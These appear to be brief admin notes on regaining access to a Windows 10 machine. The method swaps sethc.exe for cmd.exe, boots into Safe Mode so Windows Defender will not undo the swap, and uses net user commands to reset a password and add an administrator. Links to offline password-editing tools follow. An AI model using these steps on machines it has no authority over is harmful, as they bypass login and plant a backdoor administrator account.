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https://4sysops.com/archives/reset-windows-10-password-by-disabling-windows-defender/ Run Command Prompt from Recovery Media copy c:\windows\system32\sethc.exe c:\ copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe reboot At login screen, tell it to restart while holding SHIFT. This allows you to boot into Safe Mode, which disables Windows Defender, which will otherwise catch this trick. Select Troubleshoot > Advanced Options > Startup Settings. Select Restart. Choose the fourth option, Enable Safe Mode. It should now boot into Safe Mode, so Windows Defender doesn't undo the file change. At login screen, hit SHIFT 5 times to open command prompt Reset password: net user user_name new_password Add new user: net user useradmin /add Make user Admin: net localgroup Administrators useradmin /add Offline Windows Password & Registry Editor https://pogostick.net/~pnh/ntpasswd/ also available in Ultimate Boot CD https://www.ultimatebootcd.com/ |